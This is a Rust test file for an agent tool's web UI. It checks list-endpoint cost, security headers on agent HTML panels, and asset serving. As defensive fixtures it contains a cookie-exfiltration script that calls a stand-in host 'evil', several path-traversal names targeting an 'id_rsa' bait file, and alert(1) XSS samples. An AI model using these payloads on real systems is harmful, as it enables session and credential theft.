8285 .unwrap();
8286 crate::git::git(
8287 &repo,
8288 &["remote", "add", "origin", origin.to_str().unwrap()],
8289 )
8290 .await
8291 .unwrap();
8292 crate::git::git(&repo, &["push", "origin", "main"])
8293 .await
8294 .unwrap();
8295 crate::git::git(
8296 &repo,
8297 &[
8298 "symbolic-ref",
8299 "refs/remotes/origin/HEAD",
8300 "refs/remotes/origin/main",
8301 ],
8302 )
8303 .await
8304 .unwrap();
8305 let (cfg, _) = Config::discover(&repo, None).unwrap();
8306 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
8307 repos.push(repo);
8308 }
8309 let repos: [PathBuf; 2] = repos.try_into().unwrap();
8310 (tmp, repos)
8311 }
8312
8313 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
8314 let (tmp, repos) = performance_repositories().await;
8315 let machine = tmp.path().join("machine.toml");
8316 std::fs::write(&machine, "").unwrap();
8317 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
8318 (tmp, repos, fx)
8319 }
8320
8321 fn seed_performance(
8322 fx: &Fixture,
8323 repos: &[PathBuf; 2],
8324 questions: usize,
8325 runs: usize,
8326 items: usize,
8327 ) {
8328 for i in fx.questions().list().len()..questions {
8330 let mut question = Question::new(
8331 "20261001-000000-0000".into(),
8332 "implement".into(),
8333 "impl-A".into(),
8334 format!("question {i}"),
8335 "context".into(),
8336 vec!["yes".into(), "no".into()],
8337 );
8338 question.id = format!("20261003-000000-{i:04x}");
8339 fx.questions().put(&mut question).unwrap();
8340 }
8341 for i in run_ids(&fx.runs()).len()..runs {
8342 write_run_repo(
8343 &fx.runs(),
8344 &format!("20261001-000000-{i:04x}"),
8345 RunStatus::Ready,
8346 repos[i % 2].to_str().unwrap(),
8347 );
8348 }
8349 for i in fx.talks().list().len()..items {
8350 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
8351 let mut talk = fx.talks().get(&id).unwrap();
8352 talk.repo = repos[i % 2].clone();
8353 fx.talks().put(&mut talk).unwrap();
8354 let mut task = crate::queue::Task::new(
8355 format!("task {i}"),
8356 "instruction".into(),
8357 repos[i % 2].clone(),
8358 crate::queue::Source::Agent {
8359 run: id,
8360 node: crate::queue::CHAT_NODE.into(),
8361 },
8362 );
8363 task.id = format!("20261004-000000-{i:04x}");
8364 fx.queue().put(&mut task).unwrap();
8365 if i < crate::notices::CAP {
8367 Notices::at(fx.home.path().join("notifications"))
8368 .raise(Notice::info(&format!("notice-{i}"), "notification"))
8369 .unwrap();
8370 }
8371 }
8372 assert_eq!(fx.questions().list().len(), questions);
8373 assert_eq!(run_ids(&fx.runs()).len(), runs);
8374 assert_eq!(fx.talks().list().len(), items);
8375 assert_eq!(fx.queue().list().len(), items);
8376 assert_eq!(
8377 Notices::at(fx.home.path().join("notifications"))
8378 .list()
8379 .len(),
8380 items.min(crate::notices::CAP)
8381 );
8382 }
8383
8384 fn request_counts(res: &Res) -> (usize, usize) {
8385 assert_eq!(res.status, 200, "{}", res.body);
8386 (
8387 res.header("x-test-discoveries").unwrap().parse().unwrap(),
8388 res.header("x-test-git").unwrap().parse().unwrap(),
8389 )
8390 }
8391
8392 #[tokio::test]
8393 async fn list_request_cost_is_independent_of_record_count() {
8394 let (_tmp, repos, fx) = performance_fixture().await;
8395 let mut previous = None;
8396 for n in [4, 60] {
8397 seed_performance(&fx, &repos, n, n, n);
8398 let mut costs = Vec::new();
8399 for (path, discoveries) in [
8400 ("/api/questions", 1),
8401 ("/api/talks", 2),
8402 ("/api/health", 1),
8403 ("/api/stats", 1),
8404 ] {
8405 for repo in &repos {
8408 let cache = repo.join(".git/magi/config");
8409 if cache.exists() {
8410 std::fs::remove_dir_all(cache).unwrap();
8411 }
8412 }
8413 let cost = request_counts(&fx.get(path).await);
8414 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
8415 assert_eq!(cost.0, discoveries, "{path}, N={n}");
8416 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
8417 costs.push(cost);
8418 }
8419 if let Some(previous) = previous {
8420 assert_eq!(costs, previous);
8421 }
8422 previous = Some(costs);
8423 }
8424 }
8428
8429 #[tokio::test]
8432 async fn list_handler_cost_without_transport() {
8433 let (_tmp, repos) = performance_repositories().await;
8434 let fx = Fixture {
8435 home: TempDir::new().unwrap(),
8436 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
8437 };
8438 let ui = Arc::new(
8439 Ui::new(
8440 fx.queue(),
8441 fx.questions(),
8442 fx.talks(),
8443 fx.runs(),
8444 fx.home.path().to_path_buf(),
8445 repos[0].clone(),
8446 )
8447 .with_worktrees_root(fx.home.path().join("wt")),
8448 );
8449 let mut previous = None;
8450 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
8451 seed_performance(&fx, &repos, n, runs, items);
8452 let mut costs = Vec::new();
8453 for endpoint in ["questions", "talks", "health", "stats"] {
8454 for repo in &repos {
8455 let cache = repo.join(".git/magi/config");
8456 if cache.exists() {
8457 std::fs::remove_dir_all(cache).unwrap();
8458 }
8459 }
8460 let (_, cost) = request_cost::measure(async {
8461 match endpoint {
8462 "questions" => {
8463 let _ = questions_list(State(ui.clone())).await.unwrap();
8464 }
8465 "talks" => {
8466 let _ = talks_list(
8467 State(ui.clone()),
8468 Query(ListQuery {
8469 limit: None,
8470 ids: None,
8471 }),
8472 )
8473 .await
8474 .unwrap();
8475 }
8476 "health" => {
8477 let _ = health(State(ui.clone())).await.unwrap();
8478 }
8479 _ => {
8480 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
8481 .await
8482 .unwrap();
8483 }
8484 }
8485 })
8486 .await;
8487 eprintln!("{endpoint} handler N={n}: {cost:?}");
8488 assert_eq!(
8489 cost.0,
8490 if endpoint == "talks" { 2 } else { 1 },
8491 "{endpoint}"
8492 );
8493 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
8494 costs.push(cost);
8495 }
8496 if let Some(previous) = previous {
8497 assert_eq!(costs, previous);
8498 }
8499 previous = Some(costs);
8500 }
8501 }
8502
8503 #[tokio::test]
8504 async fn list_request_cost_scopes_do_not_mix() {
8505 let (_tmp, repos, fx) = performance_fixture().await;
8506 seed_performance(&fx, &repos, 10, 0, 10);
8507 let (questions, talks, notices) = tokio::join!(
8508 fx.get("/api/questions"),
8509 fx.get("/api/talks"),
8510 fx.get("/api/notifications")
8511 );
8512 assert_eq!(request_counts(&questions).0, 1);
8513 assert_eq!(request_counts(&talks).0, 2);
8514 assert_eq!(request_counts(¬ices), (0, 0));
8515 }
8516
8517 #[tokio::test]
8518 async fn list_endpoints_large_home_ceiling() {
8519 let (_tmp, repos, fx) = performance_fixture().await;
8520 seed_performance(&fx, &repos, 200, 300, 400);
8521 let mut failures = Vec::new();
8522 for path in [
8525 "/",
8526 "/app.js",
8527 "/app.css",
8528 "/api/questions",
8529 "/api/runs?limit=300",
8530 "/api/queue",
8531 "/api/talks",
8532 "/api/notifications",
8533 "/api/health",
8534 "/api/stats",
8535 "/api/loop",
8536 "/api/settings",
8537 "/api/repos",
8538 ] {
8539 let start = std::time::Instant::now();
8540 let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
8541 let elapsed = start.elapsed();
8542 eprintln!("{path}: {elapsed:?}");
8543 match result {
8544 Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
8545 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
8546 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
8547 }
8548 }
8549 assert!(failures.is_empty(), "{}", failures.join("\n"));
8550 }
8551
8552 struct Res {
8553 status: u16,
8554 headers: String,
8555 head: String,
8560 body: String,
8561 bytes: Vec<u8>,
8565 }
8566
8567 impl Res {
8568 fn json(&self) -> Value {
8569 serde_json::from_str(&self.body)
8570 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
8571 }
8572
8573 fn header(&self, name: &str) -> Option<&str> {
8575 self.head.lines().find_map(|line| {
8576 let (key, value) = line.split_once(':')?;
8577 key.trim()
8578 .eq_ignore_ascii_case(name)
8579 .then(|| value.trim_start().trim_end_matches('\r'))
8580 })
8581 }
8582 }
8583
8584 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
8587 request_with(addr, method, path, body, &[]).await
8588 }
8589
8590 async fn request_with(
8594 addr: SocketAddr,
8595 method: &str,
8596 path: &str,
8597 body: Option<&str>,
8598 extra: &[(&str, &str)],
8599 ) -> Res {
8600 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
8601 for (name, value) in extra {
8602 head.push_str(&format!("{name}: {value}\r\n"));
8603 }
8604 if let Some(body) = body {
8605 head.push_str("Content-Type: application/json\r\n");
8606 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
8607 }
8608 head.push_str("\r\n");
8609 if let Some(body) = body {
8610 head.push_str(body);
8611 }
8612 let mut socket = tokio::net::TcpStream::connect(addr)
8613 .await
8614 .expect("connect to the test server");
8615 socket
8616 .write_all(head.as_bytes())
8617 .await
8618 .expect("write request");
8619 let mut raw = Vec::new();
8620 socket.read_to_end(&mut raw).await.expect("read response");
8621 let split = raw
8624 .windows(4)
8625 .position(|w| w == b"\r\n\r\n")
8626 .expect("a header block");
8627 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
8628 let bytes = raw[split + 4..].to_vec();
8629 let status = head
8630 .lines()
8631 .next()
8632 .and_then(|line| line.split_whitespace().nth(1))
8633 .and_then(|code| code.parse().ok())
8634 .expect("a status line");
8635 Res {
8636 status,
8637 headers: head.to_lowercase(),
8638 head,
8639 body: String::from_utf8_lossy(&bytes).into_owned(),
8640 bytes,
8641 }
8642 }
8643
8644 async fn request_bytes(
8650 addr: SocketAddr,
8651 path: &str,
8652 headers: &[(&str, &str)],
8653 body: &[u8],
8654 ) -> Res {
8655 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
8656 for (name, value) in headers {
8657 head.push_str(&format!("{name}: {value}\r\n"));
8658 }
8659 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
8660 let mut socket = tokio::net::TcpStream::connect(addr)
8661 .await
8662 .expect("connect to the test server");
8663 socket
8664 .write_all(head.as_bytes())
8665 .await
8666 .expect("write request head");
8667 socket.write_all(body).await.expect("write request body");
8668 let mut raw = Vec::new();
8669 socket.read_to_end(&mut raw).await.expect("read response");
8670 let split = raw
8671 .windows(4)
8672 .position(|w| w == b"\r\n\r\n")
8673 .expect("a header block");
8674 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
8675 let bytes = raw[split + 4..].to_vec();
8676 let status = head
8677 .lines()
8678 .next()
8679 .and_then(|line| line.split_whitespace().nth(1))
8680 .and_then(|code| code.parse().ok())
8681 .expect("a status line");
8682 Res {
8683 status,
8684 headers: head.to_lowercase(),
8685 head,
8686 body: String::from_utf8_lossy(&bytes).into_owned(),
8687 bytes,
8688 }
8689 }
8690
8691 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
8693 let mut state = RunState::new(
8694 PathBuf::from("/repo/magi"),
8695 "main".to_owned(),
8696 "0123456789abcdef".to_owned(),
8697 "Add a web UI\n\nMobile first.".to_owned(),
8698 Config::default(),
8699 );
8700 state.id = id.to_owned();
8701 state.status = status;
8702 let dir = runs.join(id);
8703 std::fs::create_dir_all(&dir).expect("run dir");
8704 std::fs::write(
8705 dir.join("run.json"),
8706 serde_json::to_string_pretty(&state).expect("serialize run"),
8707 )
8708 .expect("write run.json");
8709 }
8710
8711 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
8715 let mut state = RunState::new(
8716 PathBuf::from(repo),
8717 "main".to_owned(),
8718 "0123456789abcdef".to_owned(),
8719 "task".to_owned(),
8720 Config::default(),
8721 );
8722 state.id = id.to_owned();
8723 state.status = status;
8724 let dir = runs.join(id);
8725 std::fs::create_dir_all(&dir).expect("run dir");
8726 std::fs::write(
8727 dir.join("run.json"),
8728 serde_json::to_string_pretty(&state).expect("serialize run"),
8729 )
8730 .expect("write run.json");
8731 }
8732
8733 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
8734 let body = serde_json::json!({
8735 "schema": 1,
8736 "pid": 4242,
8737 "started_at": Timestamp::now().to_string(),
8738 "updated_at": updated_at.to_string(),
8739 "idle": false,
8740 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
8741 "completed": 7,
8742 "polls": 143,
8743 });
8744 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
8745 }
8746
8747 fn launch_idle(
8757 _opts: daemon::Opts,
8758 stop: daemon::Stop,
8759 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8760 Box::pin(async move {
8761 while !stop.stopped() {
8762 tokio::time::sleep(Duration::from_millis(2)).await;
8763 }
8764 Ok(())
8765 })
8766 }
8767
8768 fn launch_broken(
8771 _opts: daemon::Opts,
8772 _stop: daemon::Stop,
8773 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8774 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
8779 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
8780 Box::pin(async move {
8781 Err(anyhow::anyhow!(if first {
8782 "publish the daemon status file: read-only file system"
8783 } else {
8784 "the restarted stand-in failed as well"
8785 }))
8786 })
8787 }
8788
8789 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
8796 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
8797
8798 fn launch_knocking_on_the_way_out(
8805 _opts: daemon::Opts,
8806 stop: daemon::Stop,
8807 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8808 Box::pin(async move {
8809 while !stop.stopped() {
8810 tokio::time::sleep(Duration::from_millis(2)).await;
8811 }
8812 let addr = PARK_KNOCK
8813 .lock()
8814 .expect("park knock")
8815 .expect("the test set an address");
8816 let heard = request(addr, "GET", "/api/health", None).await.status;
8817 *PARK_HEARD.lock().expect("park heard") = Some(heard);
8818 Ok(())
8819 })
8820 }
8821
8822 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
8831 for _ in 0..SETTLE_STEPS {
8832 let view = fx.get("/api/loop").await.json();
8833 if want(&view) {
8834 return view;
8835 }
8836 tokio::time::sleep(Duration::from_millis(10)).await;
8837 }
8838 panic!(
8839 "the loop never settled: {}",
8840 fx.get("/api/loop").await.json()
8841 );
8842 }
8843
8844 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
8846 let store = fx.questions();
8847 let mut q = Question::new(
8848 "20260902-000000-beef".to_owned(),
8849 "implement".to_owned(),
8850 "impl-A".to_owned(),
8851 summary.to_owned(),
8852 "because it matters".to_owned(),
8853 choices.iter().map(|c| (*c).to_owned()).collect(),
8854 );
8855 store.put(&mut q).expect("put question");
8856 q.id
8857 }
8858
8859 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
8865 let store = fx.questions();
8866 let mut q = Question::new(
8867 "20260902-000000-beef".to_owned(),
8868 "land".to_owned(),
8869 "fix".to_owned(),
8870 "Merge this?".to_owned(),
8871 "the diff is in the panel".to_owned(),
8872 vec!["merge".to_owned(), "hold".to_owned()],
8873 );
8874 let staging = fx.home.path().join("staging");
8877 std::fs::create_dir_all(&staging).expect("staging dir");
8878 let sources: Vec<PathBuf> = assets
8879 .iter()
8880 .map(|(name, bytes)| {
8881 let path = staging.join(name);
8882 std::fs::write(&path, bytes).expect("write staged asset");
8883 path
8884 })
8885 .collect();
8886 store
8887 .put_panel(&mut q, html, &sources)
8888 .expect("write the panel");
8889 store.put(&mut q).expect("put question");
8890 q.id
8891 }
8892
8893 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
8902 seed_talk_at(&fx.talks(), id, status)
8903 }
8904
8905 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
8906 std::fs::create_dir_all(store.root()).expect("talks dir");
8907 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
8908 .expect("serialize a seat");
8909 let body = serde_json::json!({
8910 "schema": 1,
8911 "id": id,
8912 "repo": "/repo/magi",
8913 "agent": "mock",
8914 "status": status,
8915 "turns": [],
8916 "created_at": Timestamp::now().to_string(),
8917 "updated_at": Timestamp::now().to_string(),
8918 "seat": seat,
8919 });
8920 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
8921 store.get(id).expect("the seeded talk has to be readable");
8922 id.to_owned()
8923 }
8924
8925 #[tokio::test]
8926 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
8927 let fx = Fixture::start().await;
8928 let id = panel(
8929 &fx,
8930 "<h1>Merge?</h1><img src=\"diff.svg\">",
8931 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
8932 );
8933
8934 for path in [
8935 format!("/api/questions/{id}/panel"),
8936 format!("/api/questions/{id}/asset/diff.svg"),
8937 ] {
8938 let res = fx.get(&path).await;
8939 assert_eq!(res.status, 200, "{path}: {}", res.body);
8940 assert_eq!(
8946 res.header("content-security-policy"),
8947 Some(
8948 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
8949 font-src data:; base-uri 'none'; form-action 'none'; \
8950 frame-ancestors 'self'"
8951 ),
8952 "{path} is the only thing between a hostile panel and the tailnet"
8953 );
8954 assert_eq!(
8955 res.header("x-content-type-options"),
8956 Some("nosniff"),
8957 "{path}: a browser must not re-decide the type we sent"
8958 );
8959 assert_eq!(
8960 res.header("referrer-policy"),
8961 Some("no-referrer"),
8962 "{path}: a panel must not leak the question id off the machine"
8963 );
8964
8965 let pre = fx.head(&path).await;
8970 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
8971 assert_eq!(
8972 pre.header("content-security-policy"),
8973 res.header("content-security-policy"),
8974 "{path}: the preflight carries the same policy"
8975 );
8976 assert_eq!(
8977 pre.header("content-type"),
8978 res.header("content-type"),
8979 "{path}: the preflight carries the same type"
8980 );
8981 }
8982 }
8983
8984 #[tokio::test]
8985 async fn a_panel_reaches_the_browser_byte_for_byte() {
8986 let fx = Fixture::start().await;
8987 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
8992 let id = panel(&fx, html, &[]);
8993
8994 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
8995
8996 assert_eq!(res.status, 200);
8997 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
8998 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
8999 assert_eq!(
9000 res.header("content-disposition"),
9001 None,
9002 "the panel itself is rendered in the frame, not downloaded"
9003 );
9004 }
9005
9006 #[tokio::test]
9007 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
9008 let fx = Fixture::start().await;
9009 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
9010 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
9011 let id = panel(
9012 &fx,
9013 "<img src=\"diff.svg\"><img src=\"shot.png\">",
9014 &[("diff.svg", svg), ("shot.png", png)],
9015 );
9016
9017 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
9018 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
9019
9020 assert_eq!(as_svg.status, 200);
9021 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
9022 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
9027
9028 assert_eq!(as_png.status, 200);
9029 assert_eq!(as_png.header("content-type"), Some("image/png"));
9030 assert_eq!(
9031 as_png.header("content-disposition"),
9032 None,
9033 "a raster image has no execution surface, so tapping it still shows it"
9034 );
9035 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
9036 }
9037
9038 #[tokio::test]
9039 async fn an_html_asset_is_never_served_as_html() {
9040 let fx = Fixture::start().await;
9041 let id = panel(
9042 &fx,
9043 "<p>see the notes</p>",
9044 &[
9045 (
9046 "notes.html",
9047 b"<script>fetch('http://evil/'+document.cookie)</script>",
9048 ),
9049 ("hook.js", b"fetch('http://evil/')"),
9050 ("data.json", b"{}"),
9051 ("HEADLINE.TXT", b"plain"),
9052 ],
9053 );
9054
9055 for name in ["notes.html", "hook.js", "data.json"] {
9056 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
9057 assert_eq!(res.status, 200, "{name}: {}", res.body);
9058 assert_eq!(
9063 res.header("content-type"),
9064 Some("application/octet-stream"),
9065 "{name} must not be a type the browser will execute or render"
9066 );
9067 }
9068 let txt = fx
9071 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
9072 .await;
9073 assert_eq!(
9074 txt.header("content-type"),
9075 Some("text/plain; charset=utf-8")
9076 );
9077 }
9078
9079 #[tokio::test]
9080 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
9081 let fx = Fixture::start().await;
9082 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9083 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
9087
9088 for encoded in [
9095 "%2e%2e%2fid_rsa",
9096 "..%2fid_rsa",
9097 "..%5cid_rsa",
9098 "%2e%2e%5cid_rsa",
9099 "diff%00.svg",
9100 "..",
9101 ".hidden",
9102 "%2e%2e%2f%2e%2e%2fid_rsa",
9103 ] {
9104 let res = fx
9105 .get(&format!("/api/questions/{id}/asset/{encoded}"))
9106 .await;
9107 assert_eq!(
9108 res.status, 400,
9109 "`{encoded}` has to be refused by name, not looked up: {}",
9110 res.body
9111 );
9112 assert!(res.json()["error"].is_string(), "{}", res.body);
9113 }
9114
9115 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
9121 let res = fx
9122 .get(&format!("/api/questions/{id}/asset/{literal}"))
9123 .await;
9124 assert_eq!(
9125 res.status, 404,
9126 "`{literal}` must not match the asset route at all: {}",
9127 res.body
9128 );
9129 }
9130 }
9131
9132 #[tokio::test]
9133 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
9134 let fx = Fixture::start().await;
9135 let plain = ask(&fx, "Which backend?", &["SQLite"]);
9136 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9137
9138 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
9142 assert_eq!(none.status, 404, "{}", none.body);
9143 assert!(none.json()["error"].is_string(), "{}", none.body);
9144 assert_eq!(
9145 fx.head(&format!("/api/questions/{plain}/panel"))
9146 .await
9147 .status,
9148 404,
9149 "the preflight is the only way the client can learn this"
9150 );
9151
9152 let missing = fx
9154 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
9155 .await;
9156 assert_eq!(missing.status, 404, "{}", missing.body);
9157 assert!(missing.json()["error"].is_string(), "{}", missing.body);
9158
9159 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
9161 assert_eq!(
9162 fx.get("/api/questions/nope/asset/diff.svg").await.status,
9163 404
9164 );
9165 }
9166
9167 #[tokio::test]
9168 async fn a_run_with_an_open_question_reads_as_waiting() {
9169 let fx = Fixture::start().await;
9170 let run = "20260902-000000-beef".to_owned();
9171 write_run(&fx.runs(), &run, RunStatus::Implementing);
9172
9173 let before = fx.get("/api/runs").await.json();
9174 assert_eq!(before[0]["waiting"], false, "{before}");
9175
9176 let store = fx.questions();
9177 let mut q = Question::new(
9178 run.clone(),
9179 "implement".to_owned(),
9180 "impl-A".to_owned(),
9181 "Which backend?".to_owned(),
9182 String::new(),
9183 vec!["SQLite".to_owned()],
9184 );
9185 store.put(&mut q).expect("put");
9186
9187 let during = fx.get("/api/runs").await.json();
9188 assert_eq!(during[0]["waiting"], true, "{during}");
9189
9190 q.answer(Answer::Choice("SQLite".to_owned()))
9193 .expect("answer");
9194 store.put(&mut q).expect("put");
9195 let after = fx.get("/api/runs").await.json();
9196 assert_eq!(after[0]["waiting"], false, "{after}");
9197 }
9198
9199 #[tokio::test]
9200 async fn an_open_question_is_listed_and_counted_by_health() {
9201 let fx = Fixture::start().await;
9202 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9203
9204 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9205 let listed = fx.get("/api/questions").await.json();
9206 assert_eq!(listed.as_array().expect("array").len(), 1);
9207 assert_eq!(listed[0]["id"], id);
9208 assert_eq!(listed[0]["status"], "open");
9209 assert_eq!(listed[0]["choices"][1], "Redis");
9210 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9213 }
9214
9215 #[tokio::test]
9216 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
9217 let fx = Fixture::start().await;
9218 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9219 let path = format!("/api/questions/{id}/answer");
9220
9221 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
9222 assert_eq!(res.status, 200, "{}", res.body);
9223 let body = res.json();
9224 assert_eq!(body["status"], "answered");
9225 assert_eq!(body["answer"]["choice"], "Redis");
9226
9227 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
9231 assert_eq!(again.status, 409, "{}", again.body);
9232 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9233 }
9234
9235 #[tokio::test]
9236 async fn saying_something_appends_a_turn_without_answering() {
9237 let fx = Fixture::start().await;
9238 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9239 let path = format!("/api/questions/{id}/say");
9240
9241 let res = fx
9242 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
9243 .await;
9244 assert_eq!(res.status, 200, "{}", res.body);
9245 let body = res.json();
9246 assert_eq!(body["status"], "open", "talking back is not a decision");
9247 assert_eq!(body["answer"], Value::Null);
9248 assert_eq!(body["thread"][0]["who"], "operator");
9249 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
9250 assert_eq!(body["waiting_on_agent"], true);
9251 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9253 }
9254
9255 #[tokio::test]
9256 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
9257 let fx = Fixture::start().await;
9258 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9259
9260 let list = fx.get("/api/questions").await.json();
9261 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
9262
9263 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
9264 assert_eq!(res.status, 409, "{}", res.body);
9265 let q = fx.questions().get(&id).unwrap();
9266 assert!(q.status.open());
9267 assert!(q.consult.is_none());
9268 }
9269
9270 #[tokio::test]
9271 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
9272 let fx = Fixture::start().await;
9273 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9274 let cfg = Config {
9275 agents: vec![crate::config::AgentSpec {
9276 id: "mock".to_owned(),
9277 kind: crate::config::AgentKind::Command,
9278 model: None,
9279 command: vec!["true".to_owned()],
9280 extra_args: Vec::new(),
9281 env: Default::default(),
9282 prompt_delivery: None,
9283 }],
9284 ..Config::default()
9285 };
9286 let talk = crate::talk::begin(
9287 &fx.talks(),
9288 &cfg,
9289 fx.home.path().to_path_buf(),
9290 Some("mock"),
9291 )
9292 .unwrap();
9293 let mut task = Task::new(
9294 "t".to_owned(),
9295 "Do it".to_owned(),
9296 PathBuf::from("/repo/magi"),
9297 Source::Agent {
9298 run: talk.id.clone(),
9299 node: crate::queue::CHAT_NODE.to_owned(),
9300 },
9301 );
9302 task.start("20260902-000000-beef".to_owned());
9303 fx.queue().put(&mut task).unwrap();
9304
9305 let list = fx.get("/api/questions").await.json();
9306 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
9307 assert_eq!(
9308 list[0]["choices"],
9309 serde_json::json!(["SQLite", "Redis"]),
9310 "the hand-over is never a choice"
9311 );
9312 fx.questions()
9313 .update(&id, |q| {
9314 q.node = crate::land::APPROVAL_NODE.into();
9315 q.choices = vec!["merge".into(), "hold".into()];
9316 Ok(())
9317 })
9318 .unwrap();
9319 let list = fx.get("/api/questions").await.json();
9320 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
9321 let _ = id;
9322 }
9323
9324 #[tokio::test]
9325 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
9326 let fx = Fixture::start().await;
9327 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9328 fx.questions()
9329 .update(&id, |q| {
9330 q.node = crate::land::APPROVAL_NODE.into();
9331 q.choices = vec!["merge".into(), "hold".into()];
9332 Ok(())
9333 })
9334 .unwrap();
9335 let cfg = Config {
9336 agents: vec![crate::config::AgentSpec {
9337 id: "mock".to_owned(),
9338 kind: crate::config::AgentKind::Command,
9339 model: None,
9340 command: vec!["true".to_owned()],
9341 extra_args: Vec::new(),
9342 env: Default::default(),
9343 prompt_delivery: None,
9344 }],
9345 ..Config::default()
9346 };
9347 let repo = fx.home.path().join("chat-repo");
9349 std::fs::create_dir_all(&repo).unwrap();
9350 let toml = repo.join("magi.toml");
9351 std::fs::write(&toml, "this is = = not toml").unwrap();
9352 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
9353 let mut task = Task::new(
9354 "t".to_owned(),
9355 "Do it".to_owned(),
9356 PathBuf::from("/repo/magi"),
9357 Source::Agent {
9358 run: talk.id.clone(),
9359 node: crate::queue::CHAT_NODE.to_owned(),
9360 },
9361 );
9362 task.start("20260902-000000-beef".to_owned());
